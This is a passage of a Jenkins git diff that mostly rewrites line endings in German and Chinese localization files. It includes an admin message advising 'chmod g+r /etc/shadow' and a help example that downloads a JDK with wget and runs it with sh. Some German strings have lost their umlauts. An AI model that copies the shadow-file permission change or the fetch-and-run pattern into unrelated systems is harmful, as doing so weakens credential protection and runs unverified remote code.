+UserDetailsServiceProxy.UnableToQuery=\u6ca1\u6709\u68c0\u7d22\u5230\u8fd9\u4e2a\u7528\u6237\u4fe1\u606f: {0} + +PAMSecurityRealm.DisplayName=Unix\u7528\u6237/\u7ec4\u6570\u636e\u5e93 +PAMSecurityRealm.ReadPermission=Jenkins\u9700\u8981\u6709/etc/shadow\u8bfb\u7684\u6743\u9650 +PAMSecurityRealm.BelongToGroup={0}\u5fc5\u987b\u5c5e\u4e8e{1}\u7ec4\u6765\u8bfb\u53d6/etc/shadow +PAMSecurityRealm.RunAsUserOrBelongToGroupAndChmod=\ + Either Jenkins needs to run as {0} or {1} needs to belong to group {2} and ''chmod g+r /etc/shadow'' needs to be done to enable Jenkins to read /etc/shadow +PAMSecurityRealm.Success=\u6210\u529f +PAMSecurityRealm.User=\u7528\u6237 ''{0}'' +PAMSecurityRealm.CurrentUser=\u5f53\u524d\u7528\u6237 +PAMSecurityRealm.Uid=uid: {0} + +# not in use +Permission.Permissions.Title=N/A +AccessDeniedException2.MissingPermission={0}\u6ca1\u6709{1}\u6743\u9650 diff --git a/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_de.properties b/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_de.properties index 8bbec34fbf..70ae2479d6 100644 --- a/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_de.properties +++ b/core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_de.properties @@ -1,23 +1,23 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Seiji Sogabe, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Seiji Sogabe, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + Connection\ was\ broken=Verbindung abgebrochen \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_de.properties b/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_de.properties index 6dc1884ce5..11b66c852d 100644 --- a/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_de.properties +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_de.properties @@ -1,23 +1,23 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNEC - -title={0} Thread Dump -Thread\ Dump=Thread Dump +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNEC + +title={0} Thread Dump +Thread\ Dump=Thread Dump diff --git a/core/src/main/resources/hudson/tasks/BuildTrigger/config_de.properties b/core/src/main/resources/hudson/tasks/BuildTrigger/config_de.properties index 1f56a5b8c6..76d3309d90 100644 --- a/core/src/main/resources/hudson/tasks/BuildTrigger/config_de.properties +++ b/core/src/main/resources/hudson/tasks/BuildTrigger/config_de.properties @@ -1,26 +1,26 @@ -# The MIT License -# -# Copyright (c) 2004-2015, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Projects\ to\ build=Zu bauende Projekte -Trigger\ only\ if\ build\ is\ stable=Nur auslsen, wenn der Build stabil ist -Trigger\ even\ if\ the\ build\ is\ unstable=Auslsen, selbst wenn der Build instabil ist +# The MIT License +# +# Copyright (c) 2004-2015, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Projects\ to\ build=Zu bauende Projekte +Trigger\ only\ if\ build\ is\ stable=Nur auslsen, wenn der Build stabil ist +Trigger\ even\ if\ the\ build\ is\ unstable=Auslsen, selbst wenn der Build instabil ist Trigger\ even\ if\ the\ build\ fails=Auslsen, selbst wenn der Build fehlschlgt \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-command_zh_CN.html b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-command_zh_CN.html index c98784a54c..648904897a 100644 --- a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-command_zh_CN.html +++ b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-command_zh_CN.html @@ -1,4 +1,4 @@ -
                    - 在子节点上使用命令安装工具, - 命令会一直运行,如果工具已经安装了,就要这个命令迅速的运行完成并且没有任何操作. -
                    +
                    + 在子节点上使用命令安装工具, + 命令会一直运行,如果工具已经安装了,就要这个命令迅速的运行完成并且没有任何操作. +
                    diff --git a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-toolHome_zh_CN.html b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-toolHome_zh_CN.html index 870a2b330d..133842fd34 100644 --- a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-toolHome_zh_CN.html +++ b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help-toolHome_zh_CN.html @@ -1,4 +1,4 @@ -
                    - 安装工具的目录. - (如果需要吧工具解压到磁盘上,可能是一个绝对路径.) -
                    +
                    + 安装工具的目录. + (如果需要吧工具解压到磁盘上,可能是一个绝对路径.) +
                    diff --git a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help_zh_CN.html b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help_zh_CN.html index c11feb0292..1815c2a214 100644 --- a/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help_zh_CN.html +++ b/core/src/main/resources/hudson/tools/AbstractCommandInstaller/help_zh_CN.html @@ -1,21 +1,21 @@ -

                    - 运行Shell命令来安装你选择的工具.用Ubunte举例, - 假设Jenkins用户在/etc/sudoers内: -

                    -
                    sudo apt-get --yes install openjdk-6-jdk
                    -

                    - (这个例子中指定 /usr/lib/jvm/java-6-openjdk 作为工具安装目录.) -

                    -

                    - 其它情况的例子,在(x86) Linux下安装JDK6, - 你可以使用DLJ: -

                    -
                    bin=jdk-6u13-dlj-linux-i586.bin
                    -if [ \! -f $bin ]
                    -then
                    -    wget --no-verbose http://download.java.net/dlj/binaries/$bin
                    -    sh $bin --unpack --accept-license
                    -fi
                    -

                    - (这个例子中指定 jdk1.6.0_13 作为安装目录DLJ:.) -

                    +

                    + 运行Shell命令来安装你选择的工具.用Ubunte举例, + 假设Jenkins用户在/etc/sudoers内: +

                    +
                    sudo apt-get --yes install openjdk-6-jdk
                    +

                    + (这个例子中指定 /usr/lib/jvm/java-6-openjdk 作为工具安装目录.) +

                    +

                    + 其它情况的例子,在(x86) Linux下安装JDK6, + 你可以使用DLJ: +

                    +
                    bin=jdk-6u13-dlj-linux-i586.bin
                    +if [ \! -f $bin ]
                    +then
                    +    wget --no-verbose http://download.java.net/dlj/binaries/$bin
                    +    sh $bin --unpack --accept-license
                    +fi
                    +

                    + (这个例子中指定 jdk1.6.0_13 作为安装目录DLJ:.) +

                    diff --git a/core/src/main/resources/hudson/tools/InstallSourceProperty/config_de.properties b/core/src/main/resources/hudson/tools/InstallSourceProperty/config_de.properties index 1c6dbf61f9..2e5b756d0d 100644 --- a/core/src/main/resources/hudson/tools/InstallSourceProperty/config_de.properties +++ b/core/src/main/resources/hudson/tools/InstallSourceProperty/config_de.properties @@ -1,24 +1,24 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Add\ Installer=Installationsverfahren hinzufgen +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Add\ Installer=Installationsverfahren hinzufgen Delete\ Installer=Installationsverfahren entfernen \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/InstallSourceProperty/config_zh_CN.properties b/core/src/main/resources/hudson/tools/InstallSourceProperty/config_zh_CN.properties index b7378656a3..e349cd159c 100644 --- a/core/src/main/resources/hudson/tools/InstallSourceProperty/config_zh_CN.properties +++ b/core/src/main/resources/hudson/tools/InstallSourceProperty/config_zh_CN.properties @@ -1,24 +1,24 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Add\ Installer=\u65b0\u589e\u5b89\u88c5 +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Add\ Installer=\u65b0\u589e\u5b89\u88c5 Delete\ Installer=\u5220\u9664\u5b89\u88c5 \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/Messages_zh_CN.properties b/core/src/main/resources/hudson/tools/Messages_zh_CN.properties index 2bec02c1b1..e580a8cdbf 100644 --- a/core/src/main/resources/hudson/tools/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/tools/Messages_zh_CN.properties @@ -1,36 +1,36 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Seiji Sogabe -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -ToolLocationNodeProperty.displayName=Tool Locations -CommandInstaller.DescriptorImpl.displayName=\u8fd0\u884c\u547d\u4ee4 -CommandInstaller.no_command=\u5fc5\u987b\u63d0\u4f9b\u4e00\u4e2a\u8fd0\u884c\u547d\u4ee4. -CommandInstaller.no_toolHome=\u5fc5\u987b\u63d0\u4f9b\u4e00\u4e2a\u5de5\u5177\u6839\u76ee\u5f55. -JDKInstaller.FailedToInstallJDK=\u5b89\u88c5JDK\u5931\u8d25. \u9519\u8bef\u4ee3\u7801={0} -JDKInstaller.UnableToInstallUntilLicenseAccepted=\u6ca1\u6709\u63a5\u53d7\u8bb8\u53ef\u4e4b\u524d\u4e0d\u80fd\u591f\u81ea\u52a8\u5b89\u88c5. -ZipExtractionInstaller.DescriptorImpl.displayName=\u89e3\u538b *.zip/*.tar.gz -ZipExtractionInstaller.bad_connection=\u670d\u52a1\u5668\u62d2\u7edd\u94fe\u63a5. -ZipExtractionInstaller.malformed_url=\u9519\u8bef\u7684URL. -ZipExtractionInstaller.could_not_connect=\u4e0d\u80fd\u94fe\u63a5URL. -InstallSourceProperty.DescriptorImpl.displayName=\u81ea\u52a8\u5b89\u88c5 -JDKInstaller.DescriptorImpl.displayName=\u4ece java.sun.com\u5b89\u88c5 -JDKInstaller.DescriptorImpl.doCheckId=\u5b9a\u4e49JDK ID +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Seiji Sogabe +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +ToolLocationNodeProperty.displayName=Tool Locations +CommandInstaller.DescriptorImpl.displayName=\u8fd0\u884c\u547d\u4ee4 +CommandInstaller.no_command=\u5fc5\u987b\u63d0\u4f9b\u4e00\u4e2a\u8fd0\u884c\u547d\u4ee4. +CommandInstaller.no_toolHome=\u5fc5\u987b\u63d0\u4f9b\u4e00\u4e2a\u5de5\u5177\u6839\u76ee\u5f55. +JDKInstaller.FailedToInstallJDK=\u5b89\u88c5JDK\u5931\u8d25. \u9519\u8bef\u4ee3\u7801={0} +JDKInstaller.UnableToInstallUntilLicenseAccepted=\u6ca1\u6709\u63a5\u53d7\u8bb8\u53ef\u4e4b\u524d\u4e0d\u80fd\u591f\u81ea\u52a8\u5b89\u88c5. +ZipExtractionInstaller.DescriptorImpl.displayName=\u89e3\u538b *.zip/*.tar.gz +ZipExtractionInstaller.bad_connection=\u670d\u52a1\u5668\u62d2\u7edd\u94fe\u63a5. +ZipExtractionInstaller.malformed_url=\u9519\u8bef\u7684URL. +ZipExtractionInstaller.could_not_connect=\u4e0d\u80fd\u94fe\u63a5URL. +InstallSourceProperty.DescriptorImpl.displayName=\u81ea\u52a8\u5b89\u88c5 +JDKInstaller.DescriptorImpl.displayName=\u4ece java.sun.com\u5b89\u88c5 +JDKInstaller.DescriptorImpl.doCheckId=\u5b9a\u4e49JDK ID JDKInstaller.DescriptorImpl.doCheckAcceptLicense=\u4f60\u5fc5\u987b\u63a5\u53d7\u8bb8\u53ef\u624d\u80fd\u4e0b\u8f7dJDK. \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-subdir_zh_CN.html b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-subdir_zh_CN.html index 078d18a7e5..2bd6d150d1 100644 --- a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-subdir_zh_CN.html +++ b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-subdir_zh_CN.html @@ -1,3 +1,3 @@ -
                    - 可选子目录,用来放置下载文件和解压文件的目录。 -
                    +
                    + 可选子目录,用来放置下载文件和解压文件的目录。 +
                    diff --git a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-url_zh_CN.html b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-url_zh_CN.html index f7c2dfcbfc..1f1fe1d8c0 100644 --- a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-url_zh_CN.html +++ b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help-url_zh_CN.html @@ -1,5 +1,5 @@ -
                    - 从URL下载的工具包(二进制)应该是一个ZIP文件或者GZip压缩过的TAR文件. - 服务器上的时间戳会比对本地版本(如果有的话),所以你可以轻松的发布升级. - URL必须从Jenkins的主节点访问,但是不需要从子节点访问. -
                    +
                    + 从URL下载的工具包(二进制)应该是一个ZIP文件或者GZip压缩过的TAR文件. + 服务器上的时间戳会比对本地版本(如果有的话),所以你可以轻松的发布升级. + URL必须从Jenkins的主节点访问,但是不需要从子节点访问. +
                    diff --git a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help_zh_CN.html b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help_zh_CN.html index 07d98d5b0d..a8a451caf2 100644 --- a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help_zh_CN.html +++ b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/help_zh_CN.html @@ -1,6 +1,6 @@ -
                    - 下载工具包并安装在Jenkins下的工作目录中. - 例如:http://apache.promopeddler.com/ant/binaries/apache-ant-1.7.1-bin.zip - (选择离你最近的镜像服务器) - 并指定一个子目录apache-ant-1.7.1. -
                    +
                    + 下载工具包并安装在Jenkins下的工作目录中. + 例如:http://apache.promopeddler.com/ant/binaries/apache-ant-1.7.1-bin.zip + (选择离你最近的镜像服务器) + 并指定一个子目录apache-ant-1.7.1. +
                    diff --git a/core/src/main/resources/hudson/util/AdministrativeError/message_de.properties b/core/src/main/resources/hudson/util/AdministrativeError/message_de.properties index 2b27281ecc..c216359fe6 100644 --- a/core/src/main/resources/hudson/util/AdministrativeError/message_de.properties +++ b/core/src/main/resources/hudson/util/AdministrativeError/message_de.properties @@ -1,23 +1,23 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + See\ the\ log\ for\ more\ details=Im Protokoll knnen weitere Hinweise stehen. \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_de.properties b/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_de.properties index 6ddf791bee..5b55c0c15e 100644 --- a/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_de.properties +++ b/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_de.properties @@ -1,33 +1,33 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Seiji Sogabe, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR 